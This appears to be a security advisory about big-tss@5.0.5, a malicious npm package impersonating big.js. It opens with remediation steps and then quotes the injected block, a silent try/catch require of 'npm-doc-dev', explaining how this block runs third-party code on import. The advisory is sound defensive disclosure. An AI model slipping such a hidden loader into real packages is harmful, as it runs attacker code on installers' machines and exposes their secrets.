If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b)
big-tss@5.0.5 impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: `try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}`. On any `require('big-tss')` this synchronously loads and executes the top-level code of `npm-doc-dev` — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, `npm-dc-dev`, than the code actually requires (`npm-doc-dev`), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.